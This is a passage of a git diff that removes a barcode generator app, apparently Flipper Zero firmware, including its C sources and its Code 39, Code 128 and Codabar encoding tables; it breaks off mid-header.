b/applications/external/barcode_gen/barcode_app.h deleted file mode 100644 index bddc82235..000000000 --- a/applications/external/barcode_gen/barcode_app.h +++ /dev/null @@ -1,88 +0,0 @@ -#pragma once -#include -#include - -#include -#include -#include -#include -#include -#include -#include - -#include - -#include "barcode_utils.h" - -#define TAG "BARCODE" -#define VERSION "1.1" -#define FILE_VERSION "1" - -#define TEXT_BUFFER_SIZE 128 - -#define BARCODE_HEIGHT 50 -#define BARCODE_Y_START 3 - -//the folder where the codabar encoding table is located -#define CODABAR_DICT_FILE_PATH APP_ASSETS_PATH("codabar_encodings.txt") - -//the folder where the code 39 encoding table is located -#define CODE39_DICT_FILE_PATH APP_ASSETS_PATH("code39_encodings.txt") - -//the folder where the code 128 encoding table is located -#define CODE128_DICT_FILE_PATH APP_ASSETS_PATH("code128_encodings.txt") - -//the folder where the code 128 C encoding table is located -#define CODE128C_DICT_FILE_PATH APP_ASSETS_PATH("code128c_encodings.txt") - -//the folder where the user stores their barcodes -#define DEFAULT_USER_BARCODES EXT_PATH("apps_data/barcodes") - -//The extension barcode files use -#define BARCODE_EXTENSION ".txt" -#define BARCODE_EXTENSION_LENGTH 4 - -#include "views/barcode_view.h" -#include "views/create_view.h" -#include "views/message_view.h" -#include "barcode_validator.h" - -typedef struct BarcodeApp BarcodeApp; - -struct BarcodeApp { - Submenu* main_menu; - ViewDispatcher* view_dispatcher; - Gui* gui; - - FuriMessageQueue* event_queue; - - CreateView* create_view; - Barcode* barcode_view; - - MessageView* message_view; - TextInput* text_input; -}; - -enum SubmenuItems { - SelectBarcodeItem, - EditBarcodeItem, - - CreateBarcodeItem -}; - -enum Views { - TextInputView, - MessageErrorView, - MainMenuView, - CreateBarcodeView, - - BarcodeView -}; - -void submenu_callback(void* context, uint32_t index); - -uint32_t main_menu_callback(void* context); - -uint32_t exit_callback(void* context); - -int32_t barcode_main(void* p); diff --git a/applications/external/barcode_gen/barcode_encoding_files/codabar_encodings.txt b/applications/external/barcode_gen/barcode_encoding_files/codabar_encodings.txt deleted file mode 100644 index 5f0684cbd..000000000 --- a/applications/external/barcode_gen/barcode_encoding_files/codabar_encodings.txt +++ /dev/null @@ -1,22 +0,0 @@ -# alternates between bars and spaces, always begins with bar -# 0 for narrow, 1 for wide -0: 0000011 -1: 0000110 -2: 0001001 -3: 1100000 -4: 0010010 -5: 1000010 -6: 0100001 -7: 0100100 -8: 0110000 -9: 1001000 --: 0001100 -$: 0011000 -:: 1000101 -/: 1010001 -.: 1010100 -+: 0010101 -A: 0011010 -B: 0101001 -C: 0001011 -D: 0001110 \ No newline at end of file diff --git a/applications/external/barcode_gen/barcode_encoding_files/code128_encodings.txt b/applications/external/barcode_gen/barcode_encoding_files/code128_encodings.txt deleted file mode 100644 index 394a34520..000000000 --- a/applications/external/barcode_gen/barcode_encoding_files/code128_encodings.txt +++ /dev/null @@ -1,202 +0,0 @@ - : 00 -!: 01 -": 02 -#: 03 -$: 04 -%: 05 -&: 06 -': 07 -(: 08 -): 09 -*: 10 -+: 11 -,: 12 --: 13 -.: 14 -/: 15 -0: 16 -1: 17 -2: 18 -3: 19 -4: 20 -5: 21 -6: 22 -7: 23 -8: 24 -9: 25 -:: 26 -;: 27 -<: 28 -=: 29 ->: 30 -?: 31 -@: 32 -A: 33 -B: 34 -C: 35 -D: 36 -E: 37 -F: 38 -G: 39 -H: 40 -I: 41 -J: 42 -K: 43 -L: 44 -M: 45 -N: 46 -O: 47 -P: 48 -Q: 49 -R: 50 -S: 51 -T: 52 -U: 53 -V: 54 -W: 55 -X: 56 -Y: 57 -Z: 58 -[: 59 -\: 60 -]: 61 -^: 62 -_: 63 -`: 64 -a: 65 -b: 66 -c: 67 -d: 68 -e: 69 -f: 70 -g: 71 -h: 72 -i: 73 -j: 74 -k: 75 -l: 76 -m: 77 -n: 78 -o: 79 -p: 80 -q: 81 -r: 82 -s: 83 -t: 84 -u: 85 -v: 86 -w: 87 -x: 88 -y: 89 -z: 90 -{: 91 -|: 92 -}: 93 -~: 94 - -00: 11011001100 -01: 11001101100 -02: 11001100110 -03: 10010011000 -04: 10010001100 -05: 10001001100 -06: 10011001000 -07: 10011000100 -08: 10001100100 -09: 11001001000 -10: 11001000100 -11: 11000100100 -12: 10110011100 -13: 10011011100 -14: 10011001110 -15: 10111001100 -16: 10011101100 -17: 10011100110 -18: 11001110010 -19: 11001011100 -20: 11001001110 -21: 11011100100 -22: 11001110100 -23: 11101101110 -24: 11101001100 -25: 11100101100 -26: 11100100110 -27: 11101100100 -28: 11100110100 -29: 11100110010 -30: 11011011000 -31: 11011000110 -32: 11000110110 -33: 10100011000 -34: 10001011000 -35: 10001000110 -36: 10110001000 -37: 10001101000 -38: 10001100010 -39: 11010001000 -40: 11000101000 -41: 11000100010 -42: 10110111000 -43: 10110001110 -44: 10001101110 -45: 10111011000 -46: 10111000110 -47: 10001110110 -48: 11101110110 -49: 11010001110 -50: 11000101110 -51: 11011101000 -52: 11011100010 -53: 11011101110 -54: 11101011000 -55: 11101000110 -56: 11100010110 -57: 11101101000 -58: 11101100010 -59: 11100011010 -60: 11101111010 -61: 11001000010 -62: 11110001010 -63: 10100110000 -64: 10100001100 -65: 10010110000 -66: 10010000110 -67: 10000101100 -68: 10000100110 -69: 10110010000 -70: 10110000100 -71: 10011010000 -72: 10011000010 -73: 10000110100 -74: 10000110010 -75: 11000010010 -76: 11001010000 -77: 11110111010 -78: 11000010100 -79: 10001111010 -80: 10100111100 -81: 10010111100 -82: 10010011110 -83: 10111100100 -84: 10011110100 -85: 10011110010 -86: 11110100100 -87: 11110010100 -88: 11110010010 -89: 11011011110 -90: 11011110110 -91: 11110110110 -92: 10101111000 -93: 10100011110 -94: 10001011110 -95: 10111101000 -96: 10111100010 -97: 11110101000 -98: 11110100010 -99: 10111011110 -100: 10111101110 -101: 11101011110 -102: 11110101110 -103: 11010000100 -104: 11010010000 -105: 11010011100 \ No newline at end of file diff --git a/applications/external/barcode_gen/barcode_encoding_files/code128c_encodings.txt b/applications/external/barcode_gen/barcode_encoding_files/code128c_encodings.txt deleted file mode 100644 index 75cc71135..000000000 --- a/applications/external/barcode_gen/barcode_encoding_files/code128c_encodings.txt +++ /dev/null @@ -1,106 +0,0 @@ -00: 11011001100 -01: 11001101100 -02: 11001100110 -03: 10010011000 -04: 10010001100 -05: 10001001100 -06: 10011001000 -07: 10011000100 -08: 10001100100 -09: 11001001000 -10: 11001000100 -11: 11000100100 -12: 10110011100 -13: 10011011100 -14: 10011001110 -15: 10111001100 -16: 10011101100 -17: 10011100110 -18: 11001110010 -19: 11001011100 -20: 11001001110 -21: 11011100100 -22: 11001110100 -23: 11101101110 -24: 11101001100 -25: 11100101100 -26: 11100100110 -27: 11101100100 -28: 11100110100 -29: 11100110010 -30: 11011011000 -31: 11011000110 -32: 11000110110 -33: 10100011000 -34: 10001011000 -35: 10001000110 -36: 10110001000 -37: 10001101000 -38: 10001100010 -39: 11010001000 -40: 11000101000 -41: 11000100010 -42: 10110111000 -43: 10110001110 -44: 10001101110 -45: 10111011000 -46: 10111000110 -47: 10001110110 -48: 11101110110 -49: 11010001110 -50: 11000101110 -51: 11011101000 -52: 11011100010 -53: 11011101110 -54: 11101011000 -55: 11101000110 -56: 11100010110 -57: 11101101000 -58: 11101100010 -59: 11100011010 -60: 11101111010 -61: 11001000010 -62: 11110001010 -63: 10100110000 -64: 10100001100 -65: 10010110000 -66: 10010000110 -67: 10000101100 -68: 10000100110 -69: 10110010000 -70: 10110000100 -71: 10011010000 -72: 10011000010 -73: 10000110100 -74: 10000110010 -75: 11000010010 -76: 11001010000 -77: 11110111010 -78: 11000010100 -79: 10001111010 -80: 10100111100 -81: 10010111100 -82: 10010011110 -83: 10111100100 -84: 10011110100 -85: 10011110010 -86: 11110100100 -87: 11110010100 -88: 11110010010 -89: 11011011110 -90: 11011110110 -91: 11110110110 -92: 10101111000 -93: 10100011110 -94: 10001011110 -95: 10111101000 -96: 10111100010 -97: 11110101000 -98: 11110100010 -99: 10111011110 -100: 10111101110 -101: 11101011110 -102: 11110101110 -103: 11010000100 -104: 11010010000 -105: 11010011100 diff --git a/applications/external/barcode_gen/barcode_encoding_files/code39_encodings.txt b/applications/external/barcode_gen/barcode_encoding_files/code39_encodings.txt deleted file mode 100644 index a41ad16e9..000000000 --- a/applications/external/barcode_gen/barcode_encoding_files/code39_encodings.txt +++ /dev/null @@ -1,44 +0,0 @@ -0: 000110100 -1: 100100001 -2: 001100001 -3: 101100000 -4: 000110001 -5: 100110000 -6: 001110000 -7: 000100101 -8: 100100100 -9: 001100100 -A: 100001001 -B: 001001001 -C: 101001000 -D: 000011001 -E: 100011000 -F: 001011000 -G: 000001101 -H: 100001100 -I: 001001100 -J: 000011100 -K: 100000011 -L: 001000011 -M: 101000010 -N: 000010011 -O: 100010010 -P: 001010010 -Q: 000000111 -R: 100000110 -S: 001000110 -T: 000010110 -U: 110000001 -V: 011000001 -W: 111000000 -X: 010010001 -Y: 110010000 -Z: 011010000 --: 010000101 -.: 110000100 - : 011000100 -*: 010010100 -$: 010101000 -/: 010100010 -+: 010001010 -%: 000101010 \ No newline at end of file diff --git a/applications/external/barcode_gen/barcode_utils.c b/applications/external/barcode_gen/barcode_utils.c deleted file mode 100644 index 31274c1fe..000000000 --- a/applications/external/barcode_gen/barcode_utils.c +++ /dev/null @@ -1,147 +0,0 @@ -#include "barcode_utils.h" - -BarcodeTypeObj* barcode_type_objs[NUMBER_OF_BARCODE_TYPES] = {NULL}; - -void init_types() { - BarcodeTypeObj* upc_a = malloc(sizeof(BarcodeTypeObj)); - upc_a->name = "UPC-A"; - upc_a->type = UPCA; - upc_a->min_digits = 11; - upc_a->max_digits = 12; - upc_a->start_pos = 16; - barcode_type_objs[UPCA] = upc_a; - - BarcodeTypeObj* ean_8 = malloc(sizeof(BarcodeTypeObj)); - ean_8->name = "EAN-8"; - ean_8->type = EAN8; - ean_8->min_digits = 7; - ean_8->max_digits = 8; - ean_8->start_pos = 32; - barcode_type_objs[EAN8] = ean_8; - - BarcodeTypeObj* ean_13 = malloc(sizeof(BarcodeTypeObj)); - ean_13->name = "EAN-13"; - ean_13->type = EAN13; - ean_13->min_digits = 12; - ean_13->max_digits = 13; - ean_13->start_pos = 16; - barcode_type_objs[EAN13] = ean_13; - - BarcodeTypeObj* code_39 = malloc(sizeof(BarcodeTypeObj)); - code_39->name = "CODE-39"; - code_39->type = CODE39; - code_39->min_digits = 1; - code_39->max_digits = -1; - code_39->start_pos = 0; - barcode_type_objs[CODE39] = code_39; - - BarcodeTypeObj* code_128 = malloc(sizeof(BarcodeTypeObj)); - code_128->name = "CODE-128"; - code_128->type = CODE128; - code_128->min_digits = 1; - code_128->max_digits = -1; - code_128->start_pos = 0; - barcode_type_objs[CODE128] = code_128; - - BarcodeTypeObj* code_128c = malloc(sizeof(BarcodeTypeObj)); - code_128c->name = "CODE-128C"; - code_128c->type = CODE128C; - code_128c->min_digits = 2; - code_128c->max_digits = -1; - code_128c->start_pos = 0; - barcode_type_objs[CODE128C] = code_128c; - - BarcodeTypeObj* codabar = malloc(sizeof(BarcodeTypeObj)); - codabar->name = "Codabar"; - codabar->type = CODABAR; - codabar->min_digits = 1; - codabar->max_digits = -1; - codabar->start_pos = 0; - barcode_type_objs[CODABAR] = codabar; - - BarcodeTypeObj* unknown = malloc(sizeof(BarcodeTypeObj)); - unknown->name = "Unknown"; - unknown->type = UNKNOWN; - unknown->min_digits = 0; - unknown->max_digits = 0; - unknown->start_pos = 0; - barcode_type_objs[UNKNOWN] = unknown; -} - -void free_types() { - for(int i = 0; i < NUMBER_OF_BARCODE_TYPES; i++) { - free(barcode_type_objs[i]); - } -} - -BarcodeTypeObj* get_type(FuriString* type_string) { - if(furi_string_cmp_str(type_string, "UPC-A") == 0) { - return barcode_type_objs[UPCA]; - } - if(furi_string_cmp_str(type_string, "EAN-8") == 0) { - return barcode_type_objs[EAN8]; - } - if(furi_string_cmp_str(type_string, "EAN-13") == 0) { - return barcode_type_objs[EAN13]; - } - if(furi_string_cmp_str(type_string, "CODE-39") == 0) { - return barcode_type_objs[CODE39]; - } - if(furi_string_cmp_str(type_string, "CODE-128") == 0) { - return barcode_type_objs[CODE128]; - } - if(furi_string_cmp_str(type_string, "CODE-128C") == 0) { - return barcode_type_objs[CODE128C]; - } - if(furi_string_cmp_str(type_string, "Codabar") == 0) { - return barcode_type_objs[CODABAR]; - } - - return barcode_type_objs[UNKNOWN]; -} - -const char* get_error_code_name(ErrorCode error_code) { - switch(error_code) { - case WrongNumberOfDigits: - return "Wrong Number Of Digits"; - case InvalidCharacters: - return "Invalid Characters"; - case UnsupportedType: - return "Unsupported Type"; - case FileOpening: - return "File Opening Error"; - case InvalidFileData: - return "Invalid File Data"; - case MissingEncodingTable: - return "Missing Encoding Table"; - case EncodingTableError: - return "Encoding Table Error"; - case OKCode: - return "OK"; - default: - return "Unknown Code"; - }; -} - -const char* get_error_code_message(ErrorCode error_code) { - switch(error_code) { - case WrongNumberOfDigits: - return "Wrong # of characters"; - case InvalidCharacters: - return "Invalid characters"; - case UnsupportedType: - return "Unsupported barcode type"; - case FileOpening: - return "Could not open file"; - case InvalidFileData: - return "Invalid file data"; - case MissingEncodingTable: - return "Missing encoding table"; - case EncodingTableError: - return "Encoding table error"; - case OKCode: - return "OK"; - default: - return "Could not read barcode data"; - }; -} diff --git a/applications/external/barcode_gen/barcode_utils.h b/applications/external/barcode_gen/barcode_utils.h deleted file mode 100644 index 0a27785cf..000000000 --- a/applications/external/barcode_gen/barcode_utils.h +++ /dev/null @@ -1,55 +0,0 @@ - -#pragma once -#include -#include - -#define NUMBER_OF_BARCODE_TYPES 8 - -typedef enum { - WrongNumberOfDigits, //There is too many or too few digits in the barcode - InvalidCharacters, //The barcode contains invalid characters - UnsupportedType, //the barcode type is not supported - FileOpening, //A problem occurred when opening the barcode data file - InvalidFileData, //One of the key in the file doesn't exist or there is a typo - MissingEncodingTable, //The encoding table txt for the barcode type is missing - EncodingTableError, //Something is wrong with the encoding table, probably missing data or typo - OKCode -} ErrorCode; - -typedef enum { - UPCA, - EAN8, - EAN13, - CODE39, - CODE128, - CODE128C, - CODABAR, - - UNKNOWN -} BarcodeType; - -typedef struct { - char* name; //The name of the barcode type - BarcodeType type; //The barcode type enum - int min_digits; //the minimum number of digits - int max_digits; //the maximum number of digits - int start_pos; //where to start drawing the barcode, set to -1 to dynamically draw barcode -} BarcodeTypeObj; - -typedef struct { - BarcodeTypeObj* type_obj; - int check_digit; //A place to store the check digit - FuriString* raw_data; //the data directly from the file - FuriString* correct_data; //the corrected/processed data - bool valid; //true if the raw data is correctly formatted, such as correct num of digits, valid characters, etc. - ErrorCode reason; //the reason why this barcode is invalid -} BarcodeData; - -//All available barcode types -extern BarcodeTypeObj* barcode_type_objs[NUMBER_OF_BARCODE_TYPES]; - -void init_types(); -void free_types(); -BarcodeTypeObj* get_type(FuriString* type_string); -const char* get_error_code_name(ErrorCode error_code); -const char* get_error_code_message(ErrorCode error_code); diff --git a/applications/external/barcode_gen/barcode_validator.c b/applications/external/barcode_gen/barcode_validator.c deleted file mode 100644 index cb493f3e9..000000000 --- a/applications/external/barcode_gen/barcode_validator.c +++ /dev/null @@ -1,532 +0,0 @@ -#include "barcode_validator.h" - -void barcode_loader(BarcodeData* barcode_data) { - switch(barcode_data->type_obj->type) { - case UPCA: - case EAN8: - case EAN13: - ean_upc_loader(barcode_data); - break; - case CODE39: - code_39_loader(barcode_data); - break; - case CODE128: - code_128_loader(barcode_data); - break; - case CODE128C: - code_128c_loader(barcode_data); - break; - case CODABAR: - codabar_loader(barcode_data); - break; - case UNKNOWN: - barcode_data->reason = UnsupportedType; - barcode_data->valid = false; - default: - break; - } -} - -/** - * Calculates the check digit of a barcode if they have one - * @param barcode_data the barcode data - * @returns a check digit or -1 for either an invalid -*/ -int calculate_check_digit(BarcodeData* barcode_data) { - int check_digit = -1; - switch(barcode_data->type_obj->type) { - case UPCA: - case EAN8: - case EAN13: - check_digit = calculate_ean_upc_check_digit(barcode_data); - break; - case CODE39: - case CODE128: - case CODE128C: - case CODABAR: - case UNKNOWN: - default: - break; - } - - return check_digit; -} - -/** - * Calculates the check digit of barcode types UPC-A, EAN-8, & EAN-13 -*/ -int calculate_ean_upc_check_digit(BarcodeData* barcode_data) { - int check_digit = 0; - int odd = 0; - int even = 0; - - int length = barcode_data->type_obj->min_digits; - - //Get sum of odd digits - for(int i = 0; i < length; i += 2) { - odd += furi_string_get_char(barcode_data->raw_data, i) - '0'; - } - - //Get sum of even digits - for(int i = 1; i < length; i += 2) { - even += furi_string_get_char(barcode_data->raw_data, i) - '0'; - } - - if(barcode_data->type_obj->type == EAN13) { - check_digit = even * 3 + odd; - } else { - check_digit = odd * 3 + even; - } - - check_digit = check_digit % 10; - - return (10 - check_digit) % 10; -} - -/** - * Loads and validates Barcode Types EAN-8, EAN-13, and UPC-A - * barcode_data and its strings should already be allocated; -*/ -void ean_upc_loader(BarcodeData* barcode_data) { - int barcode_length = furi_string_size(barcode_data->raw_data); - - int min_digits = barcode_data->type_obj->min_digits; - int max_digit = barcode_data->type_obj->max_digits; - - //check the length of the barcode - if(barcode_length < min_digits || barcode_length > max_digit) { - barcode_data->reason = WrongNumberOfDigits; - barcode_data->valid = false; - return; - } - - //checks if the barcode contains any characters that aren't a number - for(int i = 0; i < barcode_length; i++) { - char character = furi_string_get_char(barcode_data->raw_data, i); - int digit = character - '0'; //convert the number into an int (also the index) - if(digit < 0 || digit > 9) { - barcode_data->reason = InvalidCharacters; - barcode_data->valid = false; - return; - } - } - - int check_digit = calculate_check_digit(barcode_data); - char check_digit_char = check_digit + '0'; - - barcode_data->check_digit = check_digit; - - //if the barcode length is at max length then we will verify if the check digit is correct - if(barcode_length == max_digit) { - //append the raw_data to the correct data string - furi_string_cat(barcode_data->correct_data, barcode_data->raw_data); - - //append the check digit to the correct data string - furi_string_set_char(barcode_data->correct_data, min_digits, check_digit_char); - } - //if the barcode length is at min length, we will calculate the check digit - if(barcode_length == min_digits) { - //append the raw_data to the correct data string - furi_string_cat(barcode_data->correct_data, barcode_data->raw_data); - - //append the check digit to the correct data string - furi_string_push_back(barcode_data->correct_data, check_digit_char); - } -} - -void code_39_loader(BarcodeData* barcode_data) { - int barcode_length = furi_string_size(barcode_data->raw_data); - - int min_digits = barcode_data->type_obj->min_digits; - - //check the length of the barcode, must contain atleast a character, - //this can have as many characters as it wants, it might not fit on the screen - if(barcode_length < min_digits) { - barcode_data->reason = WrongNumberOfDigits; - barcode_data->valid = false; - return; - } - - FuriString* barcode_bits = furi_string_alloc(); - FuriString* temp_string = furi_string_alloc(); - - //add starting and ending * - if(!furi_string_start_with(barcode_data->raw_data, "*")) { - furi_string_push_back(temp_string, '*'); - furi_string_cat(temp_string, barcode_data->raw_data); - furi_string_set(barcode_data->raw_data, temp_string); - } - - if(!furi_string_end_with(barcode_data->raw_data, "*")) { - furi_string_push_back(barcode_data->raw_data, '*'); - } - - furi_string_free(temp_string); - barcode_length = furi_string_size(barcode_data->raw_data); - - //Open Storage - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* ff = flipper_format_file_alloc(storage); - - if(!flipper_format_file_open_existing(ff, CODE39_DICT_FILE_PATH)) { - FURI_LOG_E(TAG, "Could not open file %s", CODE39_DICT_FILE_PATH); - barcode_data->reason = MissingEncodingTable; - barcode_data->valid = false; - } else { - FuriString* char_bits = furi_string_alloc(); - for(int i = 0; i < barcode_length; i++) { - char barcode_char = toupper(furi_string_get_char(barcode_data->raw_data, i)); - - //convert a char into a string so it used in flipper_format_read_string - char current_character[2]; - snprintf(current_character, 2, "%c", barcode_char); - - if(!flipper_format_read_string(ff, current_character, char_bits)) { - FURI_LOG_E(TAG, "Could not read \"%c\" string", barcode_char); - barcode_data->reason = InvalidCharacters; - barcode_data->valid = false; - break; - } else { - FURI_LOG_I( - TAG, "\"%c\" string: %s", barcode_char, furi_string_get_cstr(char_bits)); - furi_string_cat(barcode_bits, char_bits); - } - flipper_format_rewind(ff); - } - furi_string_free(char_bits); - } - - //Close Storage - flipper_format_free(ff); - furi_record_close(RECORD_STORAGE); - - furi_string_cat(barcode_data->correct_data, barcode_bits); - furi_string_free(barcode_bits); -} - -/** - * Loads a code 128 barcode - * - * Only supports character set B -*/ -void code_128_loader(BarcodeData* barcode_data) { - int barcode_length = furi_string_size(barcode_data->raw_data); - - //the start code for character set B - int start_code_value = 104; - - //The bits for the start code - const char* start_code_bits = "11010010000"; - - //The bits for the stop code - const char* stop_code_bits = "1100011101011"; - - int min_digits = barcode_data->type_obj->min_digits; - - /** - * A sum of all of the characters values - * Ex: - * Barcode Data : ABC - * A has a value of 33 - * B has a value of 34 - * C has a value of 35 - * - * the checksum_adder would be (33 * 1) + (34 * 2) + (35 * 3) + 104 = 310 - * - * Add 104 since we are using set B - */ - int checksum_adder = start_code_value; - /** - * Checksum digits is the number of characters it has read so far - * In the above example the checksum_digits would be 3 - */ - int checksum_digits = 0; - - //the calculated check digit - int final_check_digit = 0; - - //check the length of the barcode, must contain atleast a character, - //this can have as many characters as it wants, it might not fit on the screen - if(barcode_length < min_digits) { - barcode_data->reason = WrongNumberOfDigits; - barcode_data->valid = false; - return; - } - - //Open Storage - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* ff = flipper_format_file_alloc(storage); - - FuriString* barcode_bits = furi_string_alloc(); - - //add the start code - furi_string_cat(barcode_bits, start_code_bits); - - if(!flipper_format_file_open_existing(ff, CODE128_DICT_FILE_PATH)) { - FURI_LOG_E(TAG, "Could not open file %s", CODE128_DICT_FILE_PATH); - barcode_data->reason = MissingEncodingTable; - barcode_data->valid = false; - } else { - FuriString* value = furi_string_alloc(); - FuriString* char_bits = furi_string_alloc(); - for(int i = 0; i < barcode_length; i++) { - char barcode_char = furi_string_get_char(barcode_data->raw_data, i); - - //convert a char into a string so it used in flipper_format_read_string - char current_character[2]; - snprintf(current_character, 2, "%c", barcode_char); - - //get the value of the character - if(!flipper_format_read_string(ff, current_character, value)) { - FURI_LOG_E(TAG, "Could not read \"%c\" string", barcode_char); - barcode_data->reason = InvalidCharacters; - barcode_data->valid = false; - break; - } - //using the value of the character, get the characters bits - if(!flipper_format_read_string(ff, furi_string_get_cstr(value), char_bits)) { - FURI_LOG_E(TAG, "Could not read \"%c\" string", barcode_char); - barcode_data->reason = EncodingTableError; - barcode_data->valid = false; - break; - } else { - //add the bits to the full barcode - furi_string_cat(barcode_bits, char_bits); - - //calculate the checksum - checksum_digits += 1; - checksum_adder += (atoi(furi_string_get_cstr(value)) * checksum_digits); - - FURI_LOG_D( - TAG, - "\"%c\" string: %s : %s : %d : %d : %d", - barcode_char, - furi_string_get_cstr(char_bits), - furi_string_get_cstr(value), - checksum_digits, - (atoi(furi_string_get_cstr(value)) * checksum_digits), - checksum_adder); - } - //bring the file pointer back to the beginning - flipper_format_rewind(ff); - } - - //calculate the check digit and convert it into a c string for lookup in the encoding table - final_check_digit = checksum_adder % 103; - int length = snprintf(NULL, 0, "%d", final_check_digit); - char* final_check_digit_string = malloc(length + 1); - snprintf(final_check_digit_string, length + 1, "%d", final_check_digit); - - //after the checksum has been calculated, add the bits to the full barcode - if(!flipper_format_read_string(ff, final_check_digit_string, char_bits)) { - FURI_LOG_E(TAG, "Could not read \"%s\" string", final_check_digit_string); - barcode_data->reason = EncodingTableError; - barcode_data->valid = false; - } else { - //add the check digit bits to the full barcode - furi_string_cat(barcode_bits, char_bits); - - FURI_LOG_D( - TAG, - "\"%s\" string: %s", - final_check_digit_string, - furi_string_get_cstr(char_bits)); - } - - free(final_check_digit_string); - furi_string_free(value); - furi_string_free(char_bits); - } - - //add the stop code - furi_string_cat(barcode_bits, stop_code_bits); - - //Close Storage - flipper_format_free(ff); - furi_record_close(RECORD_STORAGE); - - furi_string_cat(barcode_data->correct_data, barcode_bits); - furi_string_free(barcode_bits); -} - -/** - * Loads a code 128 C barcode -*/ -void code_128c_loader(BarcodeData* barcode_data) { - int barcode_length = furi_string_size(barcode_data->raw_data); - - //the start code for character set C - int start_code_value = 105; - - //The bits for the start code - const char* start_code_bits = "11010011100"; - - //The bits for the stop code - const char* stop_code_bits = "1100011101011"; - - int min_digits = barcode_data->type_obj->min_digits; - - int checksum_adder = start_code_value; - int checksum_digits = 0; - - //the calculated check digit - int final_check_digit = 0; - - // check the length of the barcode, must contain atleast 2 character, - // this can have as many characters as it wants, it might not fit on the screen - // code 128 C: the length must be even - if((barcode_length < min_digits) || (barcode_length & 1)) { - barcode_data->reason = WrongNumberOfDigits; - barcode_data->valid = false; - return; - } - //Open Storage - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* ff = flipper_format_file_alloc(storage); - - FuriString* barcode_bits = furi_string_alloc(); - - //add the start code - furi_string_cat(barcode_bits, start_code_bits); - - if(!flipper_format_file_open_existing(ff, CODE128C_DICT_FILE_PATH)) { - FURI_LOG_E(TAG, "c128c Could not open file %s", CODE128C_DICT_FILE_PATH); - barcode_data->reason = MissingEncodingTable; - barcode_data->valid = false; - } else { - FuriString* value = furi_string_alloc(); - FuriString* char_bits = furi_string_alloc(); - for(int i = 0; i < barcode_length; i += 2) { - char barcode_char1 = furi_string_get_char(barcode_data->raw_data, i); - char barcode_char2 = furi_string_get_char(barcode_data->raw_data, i + 1); - FURI_LOG_I(TAG, "c128c bc1='%c' bc2='%c'", barcode_char1, barcode_char2); - - char current_chars[4]; - snprintf(current_chars, 3, "%c%c", barcode_char1, barcode_char2); - FURI_LOG_I(TAG, "c128c current_chars='%s'", current_chars); - - //using the value of the characters, get the characters bits - if(!flipper_format_read_string(ff, current_chars, char_bits)) { - FURI_LOG_E(TAG, "c128c Could not read \"%s\" string", current_chars); - barcode_data->reason = EncodingTableError; - barcode_data->valid = false; - break; - } else { - //add the bits to the full barcode - furi_string_cat(barcode_bits, char_bits); - - // calculate the checksum - checksum_digits += 1; - checksum_adder += (atoi(current_chars) * checksum_digits); - - FURI_LOG_I( - TAG, - "c128c \"%s\" string: %s : %s : %d : %d : %d", - current_chars, - furi_string_get_cstr(char_bits), - furi_string_get_cstr(value), - checksum_digits, - (atoi(furi_string_get_cstr(value)) * checksum_digits), - checksum_adder); - } - //bring the file pointer back to the begining - flipper_format_rewind(ff); - } - //calculate the check digit and convert it into a c string for lookup in the encoding table - final_check_digit = checksum_adder % 103; - FURI_LOG_I(TAG, "c128c finale_check_digit=%d", final_check_digit); - - int length = snprintf(NULL, 0, "%d", final_check_digit); - if(final_check_digit < 100) length = 2; - char* final_check_digit_string = malloc(length + 1); - snprintf(final_check_digit_string, length + 1, "%02d", final_check_digit); - - //after the checksum has been calculated, add the bits to the full barcode - if(!flipper_format_read_string(ff, final_check_digit_string, char_bits)) { - FURI_LOG_E(TAG, "c128c cksum Could not read \"%s\" string", final_check_digit_string); - barcode_data->reason = EncodingTableError; - barcode_data->valid = false; - } else { - //add the check digit bits to the full barcode - furi_string_cat(barcode_bits, char_bits); - - FURI_LOG_I( - TAG, - "check digit \"%s\" string: %s", - final_check_digit_string, - furi_string_get_cstr(char_bits)); - } - - free(final_check_digit_string); - furi_string_free(value); - furi_string_free(char_bits); - } - - //add the stop code - furi_string_cat(barcode_bits, stop_code_bits); - - //Close Storage - flipper_format_free(ff); - furi_record_close(RECORD_STORAGE); - - FURI_LOG_I(TAG, "c128c %s", furi_string_get_cstr(barcode_bits)); - furi_string_cat(barcode_data->correct_data, barcode_bits); - furi_string_free(barcode_bits); -} - -void codabar_loader(BarcodeData* barcode_data) { - int barcode_length = furi_string_size(barcode_data->raw_data); - - int min_digits = barcode_data->type_obj->min_digits; - - //check the length of the barcode, must contain atleast a character, - //this can have as many characters as it wants, it might not fit on the screen - if(barcode_length < min_digits) { - barcode_data->reason = WrongNumberOfDigits; - barcode_data->valid = false; - return; - } - - FuriString* barcode_bits = furi_string_alloc(); - - barcode_length = furi_string_size(barcode_data->raw_data); - - //Open Storage - Storage* storage = furi_record_open(RECORD_STORAGE); - FlipperFormat* ff = flipper_format_file_alloc(storage); - - if(!flipper_format_file_open_existing(ff, CODABAR_DICT_FILE_PATH)) { - FURI_LOG_E(TAG, "Could not open file %s", CODABAR_DICT_FILE_PATH); - barcode_data->reason = MissingEncodingTable; - barcode_data->valid = false; - } else { - FuriString* char_bits = furi_string_alloc(); - for(int i = 0; i < barcode_length; i++) { - char barcode_char = toupper(furi_string_get_char(barcode_data->raw_data, i)); - - //convert a char into a string so it used in flipper_format_read_string - char current_character[2]; - snprintf(current_character, 2, "%c", barcode_char); - - if(!flipper_format_read_string(ff, current_character, char_bits)) { - FURI_LOG_E(TAG, "Could not read \"%c\" string", barcode_char); - barcode_data->reason = InvalidCharacters; - barcode_data->valid = false; - break; - } else { - FURI_LOG_I( - TAG, "\"%c\" string: %s", barcode_char, furi_string_get_cstr(char_bits)); - furi_string_cat(barcode_bits, char_bits); - } - flipper_format_rewind(ff); - } - furi_string_free(char_bits); - } - - //Close Storage - flipper_format_free(ff); - furi_record_close(RECORD_STORAGE); - - furi_string_cat(barcode_data->correct_data, barcode_bits); - furi_string_free(barcode_bits); -} diff --git a/applications/external/barcode_gen/barcode_validator.h b/applications/external/barcode_gen/barcode_validator.h deleted file mode 100644 index 2138124dd..000000000 --- a/applications/external/barcode_gen/barcode_validator.h +++ /dev/null @@ -1,15 +0,0 @@ -#pragma once - -#include "barcode_app.h" - -int calculate_check_digit(BarcodeData* barcode_data); -int calculate_ean_upc_check_digit(BarcodeData* barcode_data); -void ean_upc_loader(BarcodeData* barcode_data); -void upc_a_loader(BarcodeData* barcode_data); -void ean_8_loader(BarcodeData* barcode_data); -void ean_13_loader(BarcodeData* 